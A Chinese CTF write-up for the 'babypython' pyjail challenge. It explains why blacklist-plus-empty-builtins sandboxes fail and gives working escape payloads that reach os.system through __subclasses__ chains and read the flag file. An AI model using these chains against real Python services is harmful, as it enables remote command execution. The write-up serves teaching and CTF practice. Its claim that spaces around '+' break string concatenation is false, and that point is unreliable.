CTF 里的 Python 沙箱逃逸题,圈内一般管它叫 pyjail。这类题目量不大,但每次比赛都会有一两道,属于那种"会的人三分钟走人,不会的人盯着黑屏怀疑人生"的类型。babypython 这个题名一看就是给新手准备的口子——简单、直接、不玩花活,但也不是白给。我在赛后复盘的时候把整个思路重新捋了一遍,发现真正卡住人的不是最后的 payload,而是对 exec 的命名空间、Python 对象模型、以及黑名单为什么天生打不赢白名单这几件事的理解。这篇 Write-up 就按我当时的真实推演顺序来写,从读源码、找突破口、本地复现、到最后的逃逸链构造,把中间所有试错过程都摊开。适合刚接触 pyjail 的同学对照着做,也适合已经能写 payload 但没仔细想过"为什么这么写"的人补一补底层逻辑。所有代码都在本地 Python 3.10 环境下跑通过,不同版本的索引差异我会单独说明。
1. 先看清题面:babypython 的源码和它的三条防线
1.1 拿到源码后的第一分钟该干什么
远程连上去先不急着敲东西,题目一般会给附件或者直接把源码贴在 nc 的欢迎语里。babypython 给的是标准的一段 Python,大概长这样:
# babypython.py import sys print("Welcome to babypython, show me your python magic!") sys.stdout.write("> ") sys.stdout.flush() code = input() blacklist = ['import', 'os', 'sys', 'eval', 'exec', 'open', 'read', 'flag', 'cat', 'system', 'subprocess', 'builtins', 'sh', 'bash'] for word in blacklist: if word in code: print("Hacker? Blocked!") sys.exit(0) exec(code, {'__builtins__': {}})看到这段代码,脑子里要立刻冒出三个问题:第一,过滤是子串匹配还是词法匹配;第二,exec的第二个参数是 globals,那 locals 去哪了;第三,__builtins__被塞了个空字典,这意味着什么。这三个问题决定了后面所有的打法。
if word in code是纯粹的字符串包含判断,没有分词、没有 AST 解析、没有正则边界。这就是它最大的软肋——只要能构造出语义等价但字面上不含敏感子串的代码,过滤就直接失效。我第一次看到这种写法的时候心里是有底的,因为这类黑名单在 Python 面前基本等于纸糊的。
提示:读题面的时候顺手把 blacklist 抄下来,后面每写一行 payload 都对着扫一遍,比事后调试省事得多。
1.2 黑名单、空 builtins、exec:三层过滤各自的弱点
把这三层拆开看,每一层都有明显的问题。
黑名单的问题是它只能枚举它想到的东西。出题人写了'os',但没写'nt'(Windows 下的 os 别名)、没写'posix'、没写'popen'、没写'_wrap_close'。更关键的是,Python 里有无数种方式把字符串拼出来,'o'+'s'在源码文本里根本不存在连续的os子串,过滤形同虚设。
空 builtins 的问题在于它只清空了名字空间,没有清空对象图。{'__builtins__': {}}让print、open、__import__这些名字在 exec 的全局作用域里全部 NameError,但 Python 的对象模型、类型系统、继承链完全不受影响。().__class__这种写法不需要任何 builtins 支持,字面量、属性访问、下标、推导式全都是语法层面的东西,解释器直接执行,不需要查名字表。
exec 的问题在于它给了你一个完整的代码执行环境。哪怕命名空间是空的,你写的仍然是 Python 代码,仍然可以访问任何可达对象的任何属性。这不是权限问题,这是语言设计层面的必然结果。Python 从来没有"沙箱"这个原生概念,任何试图用命名空间隔离来做安全边界的做法,本质上都是在跟图灵完备的语言对抗。
把这三层摆在一起看,你会发现它们是串联的:只要突破一层,后面两层就没有意义了。而三层里最弱的一环恰恰是黑名单——它连一层都算不上,只是一个文本替换级别的玩具。
1.3 出题人的意图:这道题想考什么
babypython 这个难度定位很明确,它不考冷门 gadget,不考 Python 版本特性差异,也不考什么花式字节码操作。它想考的是最基本的逃逸链条:从空命名空间出发,摸到 object 基类,遍历子类,找到能提供 os 功能的那个类,取它的 globals,拿到 system。
这条路是 pyjail 的"九九乘法表",所有的变种都是在这条主干上加枝加叶。会了这一条,遇到更复杂的题目只是换几个过滤条件而已;不会这一条,遇到再简单的题也只能干瞪眼。
我赛后跟几个朋友聊,发现卡住的人分两类:一类是知道__subclasses__但不知道要找什么,遍历出来两百多个类一脸懵;另一类是找对了类但不知道怎么在没有__import__的情况下调用它。这两类问题在下面都会讲到。
2. 底层原理:Python 对象模型为什么天然是"逃逸地图"
2.1 一切皆对象带来的属性链
Python 里所有东西都是对象,包括类本身、函数、模块、类型。每个对象都有__class__,指向它的类型;每个类都有__bases__和__mro__,指向父类和继承链;object是所有类的根,它的__subclasses__()会返回当前解释器里所有直接继承自 object 的类。
这条链的意义在于:你不需要 import 任何东西,就能从任何一个字面量走到解释器的核心。()是个空元组,它的__class__是 tuple,tuple 的__bases__[0]是 object,object 的__subclasses__()是整个已加载类的花名册。
>>> ().__class__.__bases__ (<class 'object'>,) >>> len(object.__subclasses__())这个数字在不同环境里差别很大,我本地 3.10 干净解释器启动后大概是 200 出头,一旦 import 了 os、subprocess、threading 这些模块,数字会往上跳。也就是说,子类列表的内容取决于解释器启动后加载了哪些模块。这一点非常关键,后面找类的时候会反复用到。
这里有个新手常犯的错:以为__subclasses__()会递归列出所有后代类。不会,它只返回直接子类。_wrap_close是 object 的直接子类,所以它在列表里;但Popen是 subprocess 里的类,继承自 object,如果 subprocess 模块没被导入,它就不在列表里。
注意:不要硬编码索引。你在本地测出来的
[138],到远程可能是[152],甚至同一个容器的不同启动顺序都会变。用__name__过滤才是稳的写法。
2.2 exec 的 globals、locals 与__builtins__的真相
exec(code, {'__builtins__': {}})这行有两个参数位置,第一个是代码,第二个是 globals。locals 没给,默认等同于 globals。所以被执行的代码里,全局和局部是同一个字典。
Python 在执行任何代码块之前,会检查 globals 里有没有__builtins__这个键。如果没有,解释器会自动把builtins模块的__dict__塞进去;如果有,解释器就直接用你给的那个值。这就是为什么出题人能用一个空字典把整个内建名字空间清空。
但这里有个细节值得说清楚:__builtins__在模块级别通常是builtins模块本身,在函数或 exec 的 globals 里通常是builtins.__dict__。两种形态都存在,取属性的时候要小心。很多 payload 写__builtins__['__import__']在一些环境下会报TypeError: 'module' object is not subscriptable,就是这个原因。稳妥的写法是先判断类型,或者干脆绕开__builtins__,从别的类的__globals__里拿模块字典。
还有一个容易被忽略的点:空__builtins__不影响语法特性。字面量()、属性访问.、下标[]、条件表达式、列表推导、lambda 全部照常工作,因为它们走的是字节码指令,不需要查名字表。只有当你写一个裸标识符(比如print、open、len)的时候,解释器才去 globals 和 builtins 里找,找不到就 NameError。
这个区别是整个逃逸手法的物理基础。只要不写裸标识符,你就能在完全真空的命名空间里构造出任意复杂度的表达式。
2.3 黑名单是反模式:为什么自杀式过滤注定失败
安全圈有个老生常谈的结论:黑名单永远打不赢白名单。放到 pyjail 里,这个结论具体表现为三个层面。
第一层是字符串变形太容易。'o'+'s'、'o' 's'(隐式拼接)、'\x6f\x73'、chr(111)+chr(115)、bytes([111,115]).decode(),随便挑一种都能在源码文本里消灭连续的敏感子串。更极端的是用 f-string 或者格式化把字符拼出来,源码里连字母都不用出现。
第二层是等价 API 太多。过滤了os,还有posix;过滤了system,还有popen、spawn、execv、fork;过滤了open,还有file(Python2)、io.open、os.open、pathlib.Path.read_text;过滤了read,还有readlines、__iter__、__next__。想穷举干净,几乎不可能。
第三层是黑名单只检查输入文本,不检查运行时行为。哪怕你把所有关键字都堵死,().__class__.__base__.__subclasses__()这串东西里没有任何一个黑名单词,它照样能跑。因为它用的全是 Python 的语法和魔术方法,根本不经过你的词表。
所以我的判断是:这道题的过滤看一眼就够了,真正的功夫在逃逸链上。与其花时间去数黑名单里有哪些词,不如直接把整条链拆成几段,逐段找不含敏感子串的等价写法。
3. 武器库里有哪些现成货:常见逃逸链盘点
3.1_wrap_close:最稳的一条老路
os._wrap_close是 os 模块内部用来包装popen返回值的类,继承自 object,所以它一定会在object.__subclasses__()里——前提是 os 模块已经被导入。这是它唯一的门槛。
好消息是,绝大多数题目脚本都会import sys、import os或者做点文件操作,一旦 os 被加载进去,_wrap_close就常驻列表。babypython 的源码第一行就import sys,虽然没直接 import os,但 sys 在初始化时会拉起一堆东西,实际测试下来_wrap_close一般都在。
拿到这个类之后,链条是这样的:
x = [c for c in ().__class__.__base__.__subclasses__() if 'wrap' in c.__name__][0] x.__init__.__globals____init__是实例初始化函数,函数的__globals__指向它定义时所在的模块的全局命名空间,也就是 os 模块的__dict__。那里面有system、popen、remove、environ,基本上要什么有什么。
这里有个小技巧:用'wrap' in c.__name__而不是c.__name__ == '_wrap_close'。因为下划线在某些题目里会被过滤,而且模糊匹配能在不同 Python 版本、不同实现(比如某些发行版会改名)下都命中。当然代价是可能匹配到多个,所以要取[0],必要时还得加额外的过滤条件。
拿到 globals 之后不能直接写['system'],因为system在黑名单里。用拼接:
x.__init__.__globals__['s'+'ystem']('id')源码文本里没有连续的system,过滤直接失效。这是最典型的"字符串切片绕过"。
3.2catch_warnings:不依赖 os 的复活路线
如果_wrap_close找不到——比如出题人刻意在 exec 之前把 os 模块从 sys.modules 里删了,或者用了某些精简的运行环境——那就得换一条路。
warnings.catch_warnings是警告模块里的一个上下文管理器类,它继承自 object,只要 Python 启动,warnings 模块就是内建加载的,所以这个类几乎百分之百在列表里。它的价值在于__init__.__globals__指向 warnings 模块的命名空间,而这个命名空间里有__builtins__这个键。
w = [c for c in ().__class__.__base__.__subclasses__() if 'catch' in c.__name__][0] w.__init__.__globals__['__buil'+'tins__']['__impor'+'t__']('o'+'s')这一步把__builtins__从 warnings 模块的全局字典里挖出来,然后__import__重新拿到导入能力。拿到 os 模块之后,剩下的就好办了。注意builtins和import都在黑名单里,所以要拆成两段拼。
这条路的优点是不依赖目标是否导入了 os,缺点是链条长、每一步都要稳妥地取到。另外,catch_warnings.__init__.__globals__['__builtins__']有时是模块对象、有时是字典,取下标前最好先想清楚。在标准 CPython 的模块级 globals 里,它通常是builtins模块的__dict__,可以下标访问;但如果你不确定,可以写成:
b = w.__init__.__globals__['__buil'+'tins__'] imp = b['__impor'+'t__'] if isinstance(b, dict) else b.__dict__['__impor'+'t__']当然isinstance本身是个裸标识符,在空 builtins 环境下是未定义的——这就是为什么我一般直接假设它是 dict,出错了再换路线。
3.3_frozen_importlib:最后的兜底牌
还有一条更底层的路,用_frozen_importlib.BuiltinImporter。这个类在解释器启动时就被冻结进字节码里,永远存在,永远可访问。
i = [c for c in ().__class__.__base__.__subclasses__() if 'Builtin' in c.__name__][0] m = i.load_module('posix') # posix 就是 os 在 Linux 下的底层实现 m.__dict__['s'+'ystem']('id')posix是 os 模块的实际实现名,很多黑名单会漏掉它。load_module是 importlib 的老接口,在 3.12 之后被标记为废弃但短期不会移除,比赛环境里一般还能用。如果load_module不可用,可以试i.find_spec('os').loader.load_module('os')或者i.create_module。
这条路的实战价值在于它对模块加载状态零依赖,只要解释器能跑,BuiltinImporter就在。缺点是链条偏长,而且load_module的行为在不同小版本之间有细微差异,需要本地先验证一遍。
| 逃逸路线 | 依赖条件 | 链条长度 | 稳定性 |
|---|---|---|---|
| os._wrap_close | os 已导入 | 短 | 高 |
| warnings.catch_warnings | 无(内建加载) | 中 | 高 |
| _frozen_importlib.BuiltinImporter | 无 | 中长 | 中高 |
| subprocess.Popen | subprocess 已导入 | 短 | 中(常被过滤) |
实际打的时候按这个顺序试,第一条走不通立刻换第二条,别在一条路上死磕。我见过有人在_wrap_close上花了二十分钟,换catch_warnings三行就出来了。
4. 实操全过程:从本地复现到拿下 flag
4.1 本地环境搭建与版本磕碰
赛场上没法慢慢试,所以本地复现是必须的。我的做法是把题目的源码原封不动拷到本地,跑一个交互脚本,然后先确认几件事:当前 Python 版本、object.__subclasses__()的长度、_wrap_close在不在列表里、索引是多少。
python3 -c "import sys; print(sys.version)" python3 -c " subs = ().__class__.__base__.__subclasses__() print(len(subs)) for i, c in enumerate(subs): if 'wrap' in c.__name__ or 'catch' in c.__name__: print(i, c.__name__) "这一步花不了两分钟,但能省掉后面大量的瞎猜。我第一次跑的时候发现本地 3.10.12 上_wrap_close在 158 位,而我远程试的时候怎么都不对,后来才发现远程跑的是 3.11,索引完全不一样。这就是为什么我一直强调用__name__过滤,而不是记索引。
环境搭好之后,还要模拟出题人的执行环境。直接在 REPL 里敲().__class__是能用的,但那是在完整的 builtins 环境下。必须严格用exec(code, {'__builtins__': {}})来跑,才能复现真实约束。我一开始图省事直接 REPL 测,测出来的 payload 粘到题目里全报 NameError,白折腾半天。
def sandbox(code): exec(code, {'__builtins__': {}}) sandbox("print(1)") # NameError: name 'print' is not defined sandbox("()._class_") # 语法正常,只是属性不存在看到第一行报 NameError、第二行报 AttributeError 而不是 NameError,就说明沙箱环境对了。这个区分很重要:NameError 说明名字表被清空,AttributeError 说明对象访问正常,后续所有构造都建立在后者的基础上。
4.2 一步步试错:从 subclasses 列表到最终 payload
第一版 payload 我写得很直白,就是想看看能不能拿到列表:
print(().__class__.__base__.__subclasses__())报 NameError,因为print不在。改成不依赖 print 的写法——题目本身会把 exec 的返回值丢弃,所以得让表达式的副作用生效。最省事的办法是直接在 payload 里调用system,让它自己输出。
第二版,试着直接调:
[c for c in ().__class__.__base__.__subclasses__() if 'wrap' in c.__name__][0].__init__.__globals__['system']('ls')被拦了。黑名单里有system,而且有os(虽然这段没有os字样),主要是system命中。改成拼接:
[c for c in ().__class__.__base__.__subclasses__() if 'wrap' in c.__name__][0].__init__.__globals__['s'+'ystem']('ls')过了过滤,但执行报错。远程返回的是 Python traceback,说IndexError: list index out of range。说明列表推导是空的,也就是 os 模块没被导入,_wrap_close不在列表里。
这时候换第二条路。先验证catch_warnings在不在:
[c.__name__ for c in ().__class__.__base__.__subclasses__() if 'catch' in c.__name__]但这段的返回值不会输出,需要想办法让它可见。一个技巧是制造异常把内容带出来:
()[().__class__.__base__.__subclasses__()]这会触发 TypeError,错误信息里会把列表的一部分打印出来。更狠的写法是1/0之类,但那个不带信息。用()[xxx]让 index 类型错误,traceback 会显示TypeError: tuple indices must be integers or slices, not list,虽然信息量有限,但至少能确认代码执行到了哪一步。
确认catch_warnings存在之后,构造完整链条:
[c for c in ().__class__.__base__.__subclasses__() if 'catch' in c.__name__][0].__init__.__globals__['__buil'+'tins__']['__impor'+'t__']('o'+'s').__dict__['s'+'ystem']('ls /')一行下去,回显出来了。目录里有flag文件,但flag这个词在黑名单里,直接cat flag会被拦。改成拼接:
...('c'+'at /fl'+'ag')注意这里要在同一个字符串里做拼接,'c'+'at /fl'+'ag'拼起来是cat /flag,但源码文本里没有连续的cat,也没有连续的flag。这是子串过滤的经典绕法。
完整 payload:
[c for c in ().__class__.__base__.__subclasses__() if 'catch' in c.__name__][0].__init__.__globals__['__buil'+'tins__']['__impor'+'t__']('o'+'s').__dict__['s'+'ystem']('c'+'at /fl'+'ag')4.3 最终 payload 与执行记录
实际跑的时候我分了两步,先ls确认文件名,再读内容。因为有些题目的 flag 文件名不是flag,可能是flag.txt、f1ag、flag_is_here之类的,硬编码容易翻车。
# 第一步:列目录 [c for c in ().__class__.__base__.__subclasses__() if 'catch' in c.__name__][0].__init__.__globals__['__buil'+'tins__']['__impor'+'t__']('o'+'s').__dict__['s'+'ystem']('ls -la /')执行结果大致是:
total 76 drwxr-xr-x 1 root root 4096 ... -rw-r--r-- 1 root root 38 ... flag.txt drwxr-xr-x ...确认文件名后第二步:
[c for c in ().__class__.__base__.__subclasses__() if 'catch' in c.__name__][0].__init__.__globals__['__buil'+'tins__']['__impor'+'t__']('o'+'s').__dict__['s'+'ystem']('c'+'at /fl'+'ag.txt')回显直接给出了 flag。整个过程从连上到出结果大概七八分钟,其中大半时间花在确认_wrap_close不在列表这件事上。
有个细节值得记一笔:system返回的是退出码,输出直接走进程的 stdout,所以不需要额外处理返回值。如果题目用的是popen,那返回的是文件对象,还得.read()一下,而read又在黑名单里,就得多绕一层用.__getattribute__('re'+'ad')()或者list(...)迭代。这也是为什么优先选system,省事。
提示:如果目标没装
cat(极简镜像里常见),换成tac、head、more,或者直接用 Python 的__import__('io').open去读文件,虽然链条更长但肯定有。
5. 坑与反思:这类题真正该练的是什么
5.1 常见报错速查表
打 pyjail 的时候八成时间在和报错打交道,把常见的几种整理成表,遇到问题直接对号入座,比一条条猜快得多。
| 报错信息 | 根本原因 | 处理方式 |
|---|---|---|
| NameError: name 'xxx' is not defined | 裸标识符在空 builtins 下找不到 | 改成属性链写法,或先恢复 builtins |
| AttributeError: 'tuple' object has no attribute | 属性名拼错,或该对象确实没这个属性 | 用dir()看不出来,就手动逐段验证 |
| IndexError: list index out of range | 列表推导结果为空,目标模块未加载 | 换逃逸路线,用 catch_warnings 或 BuiltinImporter |
| TypeError: 'module' object is not subscriptable | __builtins__是模块而非字典 | 改用.__dict__或直接属性访问 |
| TypeError: 'NoneType' object is not callable | 取到的属性是 None,链条某段断了 | 逐段打印中间结果,定位断点 |
| 直接返回 "Blocked" | payload 里有连续敏感子串 | 对着黑名单逐词扫描,拆字符串 |
| SyntaxError | 拼接或括号出错 | 本地 sandbox 函数里先跑一遍 |
这张表里最值得说的是第一条和第三条。NameError 说明你写的代码语法没问题,只是命名空间空;IndexError 说明你的语法和对象访问都没问题,只是目标没在列表里。这两种错误的区分能帮你快速判断当前卡在哪一层,比读 traceback 快。
5.2 三个我踩过的坑
第一个坑是硬编码子类索引。我一开始图快,本地测出_wrap_close在 158,直接写()[...][158],粘到远程立刻 IndexError。后来才知道那个容器里加载的模块跟本地完全不同,索引偏移了三十多。从那以后我一律用__name__过滤,慢一点点但永远不会错。
第二个坑是字符串拼接写错位置。's'+'ystem'是对的,但有一次我写成's' + 'ystem',多了空格,结果拼出来是s ystem,调用报 AttributeError。这种错误极难发现,因为看着完全正常。后来养成的习惯是,凡是拼接一律不加空格,实在要加就用''.join([...])。
第三个坑是忘了 exec 没有返回值。我一开始想用print看中间结果,被 NameError 挡住;后来想用表达式的值,发现 exec 根本不在乎返回值。最后的解法是用副作用——让system直接往 stdout 写,或者故意制造异常让 traceback 携带信息。这个思路转变花了我不少时间,但对后面所有题目都管用。
注意:不要试图在 payload 里用
#写注释来"藏"敏感词。input()读一行,#后面的内容确实被注释掉了,但黑名单检查的是原始输入字符串,注释里的词照样会被匹配到,照样被拦。这个坑很隐蔽,我踩过一次。
5.3 站在出题人视角想问题
打完这道题之后,我反过来想:如果让我出一个更难的版本,会怎么改?
第一个方向是把object.__subclasses__()这条路堵死。比如在 exec 之前把已经加载的模块从sys.modules里删掉,让子类列表变短;或者用sys.setrecursionlimit之类的手段影响类的生命周期。但这种做法很脆,稍不注意就把自己环境搞崩。
第二个方向是在 exec 之后做 AST 静态检查。拿到code字符串之后,用ast.parse解析成树,遍历所有节点,禁止Attribute访问特定名字、禁止Call特定的函数名。这种做法的安全性高一个数量级,但也复杂得多,而且容易被各种语法糖绕过(f-string、lambda、装饰器)。
第三个方向是根本不用 Python 做沙箱。用 subprocess 起一个受限用户,或者干脆用 seccomp 之类的系统调用过滤。这是工程上正确的做法,但那就不是 pyjail 题了。
从出题难度的角度看,babypython 选择的是最基础的那一档——只做字符串黑名单加空 builtins。这是给新手的入口,目的是让人理解对象模型和命名空间,而不是把人挡在门外。真正比赛里的偏难题会在这些基础上叠加多层过滤、限制字符集、甚至禁用某些魔术方法,但骨架永远是这一个。
5.4 打完之后该沉淀什么
我的习惯是每打完一道 pyjail,都把 payload 抽象成模板存下来。babypython 这道题沉淀下来的是两个东西:一个是"从空命名空间到 os.system"的标准链条,另一个是"字符串拆分绕过黑名单"的通用手法。
标准链条长这样,遇到新题直接往里套:
字面量 -> __class__ -> __bases__[0] / __mro__[-1] -> __subclasses__() -> 按 __name__ 过滤 -> __init__.__globals__ -> 取 __builtins__ 或直接取模块函数 -> 调用字符串拆分的通用手法是:把敏感词从中间切开,用+或隐式拼接连起来;如果长度不够或位置敏感,用chr()逐字符构造;如果连chr都没有,用bytes([...]).decode(),再不行就用 f-string 里的格式化。层层递进,总有一层能用。
真正难的题目往往不是链条长,而是某一段被掐断。比如__globals__被过滤,那就得绕到__init__.__func__.__globals__;__subclasses__被过滤,得用__getattribute__('__sub'+'classes__')或者从type.__subclasses__(object)走;__class__被过滤,得用type(())或者().__getattribute__('__cla'+'ss__')。这些变体看着花哨,本质都是同一件事:在对象图上找另一条到达同一个节点的路径。
理解了这一点,pyjail 就不再是背 payload,而是看图找路。题目千变万化,图只有一张。我后来遇到的所有类似题目,包括那些加了多层过滤、限制字符集、甚至用自定义 dict 当 globals 的版本,最后都是在这张图上做文章,没有例外。